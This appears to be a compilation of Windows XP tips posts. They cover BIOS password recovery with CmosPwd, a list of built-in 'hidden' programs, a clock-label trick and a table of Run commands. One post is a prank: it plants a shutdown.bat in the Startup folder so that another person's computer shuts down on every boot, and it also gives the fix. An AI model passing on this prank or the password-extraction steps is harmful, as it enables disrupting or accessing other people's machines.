The bios can be protected with a password to prevent others from accessing its settings. You have to enter the password to be able to access it, if you can’t provide the correct one the access gets denied. The following method describes a way to recover the password if you forgot it or bought a used computer with a bios password.CmosPwd is a free program that is able to display information about the bios once it is executed.

You do need to create a bootable disk to be able to execute the program in dos mode. To create a bootable disk in windows right-click the disk drive and select format from the list of options. It is important that you enable the option Create an MS-DOS startup disk.Once the disk is created copy the contents from the dos folder of cmos pwd to the disk and restart the computer.



You will have to remove all hard drives from the system if you do not automatically boot from disk drive. Type cmospwd.exe in the command line and the password should appear. Ignore the information about the other bios manufacturers and take a look at the one your computer is using.Another possible method would be to start the computer in safe mode with command prompt which could work as well. You still need to access the files somewhere so make sure that the hard drive is accessible.

It is a very funny trick to shutdown computer
after you done all the steps your computer will never start
when u start it
it will shutdown again
its very nice
lets see

step 1
go to run
type notepad

step 2
type following in notepad
c:\windows\system32\shutdown -s -t 00
like this


step 3

and save it to
shutdown.bat in start up folder
like this



after doing this
when someone start the computer it will shutdown again and again it will never start again.....
to solve this problem
go to safe mode and login as adminsitrator account and delete shutdown.bat from the start up folder

WARNING

Note: Read Disclaimer before use.

Don't save shutdown.bat in all start up folders....


 

Lots of hidden application or programs exist in your Windows XP operating system. These hidden applications are really very useful and can saves much time when you really know these applications utility or application. I really amazed by these application. Microsoft never tell you these applications / programs description. All these hidden programs are really powerful for similar activities like registry editing, group policy editing, communicating with others etc. This page presents lots of hidden secret programs / application and you will be glad knowing these hidden applications activities.




Lists of Hidden Secret Applications / Programs of Windows XP:

In the following paragraphs, you will find 20+ hidden secret applications or programs of Microsoft Windows XP operating system:

Private Character Editor: Hidden Font Editor

Private Character Editor is used to create unique letters and logos for your font library according to your own choice. This program is totally for designing icons and Characters.
Instructions for Private Character Editor:

Click on Start menuand click select Run
In the "Run" window, type EUDCEDIT and hit Enter key of your keyboard..

IExpress: Hidden Install Creator

IExpress program is for converting your files to EXECUTABLE files. This technology is designed to simplify creation of a setup program. Using the step-by-step IExpress Wizard, you can create self-extracting files that automatically run the setup program contained inside. The setup program can be an .inf file or an executable program. IExpress technology automatically removes the setup files after installation, saving the user time and frustration.
Instructions for IExpress:
   1. Click on Start menu and click select Run
   2. In the "Run" window, type iexpress and hit Enter key of your keyboard

Disk Cleanup: Cleaning Harddisk

This program is used for cleaning harddisk to offer more space to your hard-disk.

Instructions for Disk Cleanup:
1. Click on Start menu and click select Run
2. In the "Run" window, type cleanmgr and hit Enter key of your keyboard

MS-DOS Editor: Hidden Text Editor

Windows XP comes with another text editor besides Notepad - it's called the
MS-DOS Editor is another text editor like Notepad and it's commonly referred to simply as Edit. You can use it as like Notepad. Moreover, it offers many more features such as the ability to work with multiple text files and change the background and text colors.

Instructions for MS-DOS Editor:
Click on Start menu and click select Run
In the "Run" window, type edit and hit Enter key of your keyboard




Netmeeting: Hidden Internet Conference Application

NetMeeting of Windows XP can deliver a complete Internet conferencing solution for all Windows users with multi-point data conferencing, text chat, whiteboard, and file transfer, as well as point-to-point audio and video.

Instructions for Netmeeting:
   1. Click on Start menu and click select Run
   2. In the "Run" window, type conf and hit Enter key of your keyboard

Windows Chat: Hidden Windows Chat Program

Windows Chat can be used to communicate with someone on another computer. But both computers must be connected to the same network (for example, a local area network [LAN] or the Internet) and each computer must be running a similar protocol, such as TCP/IP. So, you can communicate with others easily.
Instructions for Windows Chat:
   1. Click on Start menu and click select Run
   2. In the "Run" window, type winchat  and hit Enter key of your keyboard

Windows Media Player 5.1: Hidden Windows Media Player

Do you know that there is is windows media player 5.1 in your windows XP. You can use it to listen music.

Instructions for Windows Windows Media Player 5.1:
   1. Click on Start menu and click select Run
   2. In the "Run" window, type mplay32  and hit Enter key of your keyboard

Windows Media Player 6.4 : Hidden Windows Media Player

This is another secret of Windows XP. Here you can find Windows Media Player 6.4 (classic) to play your media files.
Instructions for Windows Media Player 6.4:
   1. Click on Start menu and click select Run
   2. In the "Run" window, type mplayer2  and hit Enter key of your keyboard
Note: Windows Media Player 6.4 (Classic) is installed along with Windows Media Player 7. The only update is that it now supports the latest codecs.

Dr Watson:Troubleshooting tool

This program Is for repairing problems in Windows

Instructions for Dr Watson:
   1. Click on Start menu and click select Run
   2. In the "Run" window, type drwtsn32  and hit Enter key of your keyboard

Clipboard Viewer: Windows Clipboard Viewing

This program is for viewing contents of Windows clipboard
Instructions for Clipboard Viewer:
   1. Click on Start menu and click select Run
   2. In the "Run" window, type clipbrd  and hit Enter key of your keyboard

DirectX diagnosis: Diagnose DirectX, video and sound

This program is for viewing contents of Windows clipboard

Instructions for DirectX diagnosis:

Click on Start menu and click select Run
 In the "Run" window, type dxdiag and hit Enter key of your keyboard

Character Map: Find unusual characters

This program is used for finding unusual characters.

Instructions for Character Map:
   1. Click on Start menu and click select Run
   2. In the "Run" window, type charmap  and hit Enter key of your keyboard

Mcft Synchronization Manager: File synchronization on the network

This program is very helpful which allows synchronization of files on the network for when working offline. But this program is apparently undocumented.

Instructions for Mcft Synchronization Manager:

Click on Start menu and click select Run
In the "Run" window, type mobsync and hit Enter key of your keyboard

ODBC Data Source Administrator

If you like to do with databases, you can use this hidden program of Windows XP.
Instructions for ODBC Data Source Administrator:
   1. Click on Start menu and click select Run
   2. In the "Run" window, type odbcad32  and hit Enter key of your keyboard

Object Packager

With this secret Windows XP program, you can do with packaging objects for insertion in files, appears to have comprehensive help files

Instructions for Object Packager:

Click on Start menu and click select Run
In the "Run" window, type packager and hit Enter key of your keyboard.

Group Policy Editor

This program is used to manage group policies, and permissions

Instructions for Group Policy Editor:
1. Click on Start menu and click select Run
2. In the "Run" window, type gpedit.msc and hit Enter key of your keyboard

System configuration

This program is used to control starup programs.

Instructions for System configuration:

Click on Start menu and click select Run
In the "Run" window, type msconfig and hit Enter key of your keyboard.

Driver Verifier Manager

It seems to be a utility for monitoring the actions of drivers, might be useful for people having driver problems. Undocumented
Instructions for Driver Verifier Manager :

Click on Start menu and click select Run
In the "Run" window, type verifier and hit Enter key of your keyboard.

Microsoft Telnet Client

This program is used to remotely access to any device.

Instructions for Microsoft Telnet Client:

Click on Start menu and click select Run
In the "Run" window, type telnet and hit Enter key of your keyboard.

System Monitor

System Monitor is very useful, highly configurable tool, tells you everything you ever wanted to know about any aspect of PC performance

Instructions for System Monitor:

Click on Start menu and click select Run
In the "Run" window, type perfmon  and hit Enter key of your keyboard.

Program Manager

Program Manager is a program that can be used as Legacy Windows 3.x desktop shell.

Instructions for Program Manager:

Click on Start menu and click select Run
In the "Run" window, type progman and hit Enter key of your keyboard.

Syskey : Secures XP Account database

Syskey secures XP account database. Use Syskey with care, it's virtually undocumented but it appears to encrypt all passwords

Instructions for Syskey:

Click on Start menu and click select Run
In the "Run" window, type syskey and hit Enter key of your keyboard.

System Configuration Editor

System Configuration Editor can be used to modify System.ini & Win.ini just like in Win98!

Instructions for System Configuration Editor:

Click on Start menu and click select Run
In the "Run" window, type sysedit and hit Enter key of your keyboard

Remote Access phone book

This program's documentation is virtually non-existant.

Instructions for Remote Access phone book :

Click on Start menu and click select Run
In the "Run" window, type rasphone and hit Enter key of your keyboard.

Registry Editor

Registry Eidtor is used for hacking the Windows Registry

Instructions for Registry Editor:

Click on Start menu and click select Run
In the "Run" window, type regedt32 or regedit and hit Enter key of your keyboard.

Network shared folder wizard

Network shared folder wizard is used to create shared folders on network.
Instructions for Network shared folder wizard:

Click on Start menu and click select Run
In the "Run" window, type shrpubw and hit Enter key of your keyboard.

File siganture verification tool

It's a simple file siganture verification tool.

Instructions for File siganture verification tool:

Click on Start menu and click select Run
In the "Run" window, type sigverif and hit Enter key of your keyboard.

Volume Control

This program is helpful for those people that lose it from the System Notification area

Instructions for Volume Control:

Click on Start menu and click select Run
In the "Run" window, type sndvol32 and hit Enter key of your keyboard.

Try this  trick to add up ur name in place of AM and PM beside time
Its simple

Step-1:-
Navigate to -> Start -> Control Pannel ->
Regional and Language Option -> Click on Customize -> Go to TIME Tab ->
Change AM symbol and PM symbol from AM and PM to ur name -> Apply -> Ok ...





Step2:- Now go to time in taskbar and Double Click it to open "Date and time property" ...
Look place where time changes in digital form i.e. 02:47:52 AM ,
click to arrow to cnage the AM or PM by selecting and press arrow.
It will Show ur name or name that was entered by u, Apply -> OK and be HAPPY 4 EVER

All of the Run Commands below Work in the Windows XP Operating System, some do Require that you have the application associated with the command installed. To provoke the run dialogue box where you can enter the run commands Click start and then select Run or even faster hold down the Windows key on your keyboard and press 'R' this will open the run command console where you can then type in your command.

Run Commands Listed below In Alphabetical Order



Start Menu >> Run >>

Program	Run Command
Accessibility Controls	access.cpl
Accessibility Wizard	accwiz
Add Hardware Wizard	hdwwiz.cpl
Add/Remove Programs	appwiz.cpl
Administrative Tools	control admintools
Adobe Acrobat ( if installed )	acrobat
Adobe Distiller ( if installed )	acrodist
Adobe ImageReady ( if installed )	imageready
Adobe Photoshop ( if installed )	photoshop
Automatic Updates	wuaucpl.cpl
Basic Media Player	mplay32
Bluetooth Transfer Wizard	fsquirt
Calculator	calc
Ccleaner ( if installed )	ccleaner
C: Drive	c:
Certificate Manager	cdrtmgr.msc
Character Map	charmap
Check Disk Utility	chkdsk
Clipboard Viewer	clipbrd
Command Prompt	cmd
Command Prompt	command
Component Services	dcomcnfg
Computer Management	compmgmt.msc
Compare Files	comp
Control Panel	control
Create a shared folder Wizard	shrpubw
Date and Time Properties	timedate.cpl
DDE Shares	ddeshare
Device Manager	devmgmt.msc
Direct X Control Panel ( if installed )	directx.cpl
Direct X Troubleshooter	dxdiag
Disk Cleanup Utility	cleanmgr
Disk Defragment	dfrg.msc
Disk Partition Manager	diskmgmt.msc
Display Properties	control desktop
Display Properties	desk.cpl
Display Properties (w/Appearance Tab Preselected )	control color
Dr. Watson System Troubleshooting Utility	drwtsn32
Driver Verifier Utility	verifier
Ethereal ( if installed )	ethereal
Event Viewer	eventvwr.msc
Files and Settings Transfer Tool	migwiz
File Signature Verification Tool	sigverif
Findfast	findfast.cpl
Firefox	firefox
Folders Properties	control folders
Fonts	fonts
Fonts Folder	fonts
Free Cell Card Game	freecell
Game Controllers	joy.cpl
Group Policy Editor ( xp pro )	gpedit.msc
Hearts Card Game	mshearts
Help and Support	helpctr
Hyperterminal	hypertrm
Hotline Client	hotlineclient
Iexpress Wizard	iexpress
Indexing Service	ciadv.msc
Internet Connection Wizard	icwonn1
Internet Properties	inetcpl.cpl
Internet Setup Wizard	inetwiz
IP Configuration (Display Connection Configuration)	ipconfig /all
IP Configuration (Display DNS Cache Contents)	ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents)	ipconfig /flushdns
IP Configuration (Release All Connections)	ipconfig /release
IP Configuration (Renew All Connections)	ipconfig /renew
IP Configuration (Refreshes DHCP & Re-Registers DNS)	ipconfig /registerdns
IP Configuration (Display DHCP Class ID)	ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID)	ipconfig /setclassid
Java Control Panel ( if installed )	jpicpl32.cpl
Java Control Panel ( if installed )	javaws
Keyboard Properties	control keyboard
Local Security Settings	secpol.msc
Local Users and Groups	lusrmgr.msc
Logs You Out of Windows	logoff
Malicious Software Removal Tool	mrt
Microsoft Access ( if installed )	access.cpl
Microsoft Chat	winchat
Microsoft Excel ( if installed )	excel
Microsoft Diskpart	diskpart
Microsoft Frontpage ( if installed )	frontpg
Microsoft Movie Maker	moviemk
Microsoft Management Console	mmc
Microsoft Narrator	narrator
Microsoft Paint	mspaint
Microsoft Powerpoint	powerpnt
Microsoft Word ( if installed )	winword
Microsoft Syncronization Tool	mobsync
Minesweeper Game	winmine
Mouse Properties	control mouse
Mouse Properties	main.cpl
MS-Dos Editor	edit
MS-Dos FTP	ftp
Nero ( if installed )	nero
Netmeeting	conf
Network Connections	control netconnections
Network Connections	ncpa.cpl
Network Setup Wizard	netsetup.cpl
Notepad	notepad
Nview Desktop Manager ( if installed )	nvtuicpl.cpl
Object Packager	packager
ODBC Data Source Administrator	odbccp32
ODBC Data Source Administrator	odbccp32.cpl
On Screen Keyboard	osk
Opens AC3 Filter ( if installed )	ac3filter.cpl
Outlook Express	msimn
Paint	pbrush
Password Properties	password.cpl
Performance Monitor	perfmon.msc
Performance Monitor	perfmon
Phone and Modem Options	telephon.cpl
Phone Dialer	dialer
Pinball Game	pinball
Power Configuration	powercfg.cpl
Printers and Faxes	control printers
Printers Folder	printers
Private Characters Editor	eudcedit
Quicktime ( if installed )	quicktime.cpl
Quicktime Player ( if installed )	quicktimeplayer
Real Player ( if installed )	realplay
Regional Settings	intl.cpl
Registry Editor	regedit
Registry Editor	regedit32
Remote Access Phonebook	rasphone
Remote Desktop	mstsc
Removable Storage	ntmsmgr.msc
Removable Storage Operator Requests	ntmsoprq.msc
Resultant Set of Policy ( xp pro )	rsop.msc
Scanners and Cameras	sticpl.cpl
Scheduled Tasks	control schedtasks
Security Center	wscui.cpl
Services	services.msc
Shared Folders	fsmgmt.msc
Sharing Session	rtcshare
Shuts Down Windows	shutdown
Sounds Recorder	sndrec32
Sounds and Audio	mmsys.cpl
Spider Solitare Card Game	spider
SQL Client Configuration	clicongf
System Configuration Editor	sysedit
System Configuration Utility	msconfig
System File Checker Utility ( Scan Immediately )	sfc /scannow
System File Checker Utility ( Scan Once At Next Boot )	sfc /scanonce
System File Checker Utility ( Scan On Every Boot )	sfc /scanboot
System File Checker Utility ( Return to Default Settings)	sfc /revert
System File Checker Utility ( Purge File Cache )	sfc /purgecache
System File Checker Utility ( Set Cache Size to Size x )	sfc /cachesize=x
System Information	msinfo32
System Properties	sysdm.cpl
Task Manager	taskmgr
TCP Tester	tcptest
Telnet Client	telnet
Tweak UI ( if installed )	tweakui
User Account Management	nusrmgr.cpl
Utility Manager	utilman
Volume Serial Number for C:	label
Volume Control	sndvol32
Windows Address Book	wab
Windows Address Book Import Utility	wabmig
Windows Backup Utility ( if installed )	ntbackup
Windows Explorer	explorer
Windows Firewall	firewall.cpl
Windows Installer Details	msiexec
Windows Magnifier	magnify
Windows Management Infrastructure	wmimgmt.msc
Windows Media Player	wmplayer
Windows Messenger	msnsgs
Windows Picture Import Wizard (Need camera connected)	wiaacmgr
Windows System Security Tool	syskey
Windows Script host settings	wscript
Widnows Update Launches	wupdmgr
Windows Version ( shows your windows version )	winver
Windows XP Tour Wizard	tourstart
Wordpad	write
Zoom Utility	igfxzoom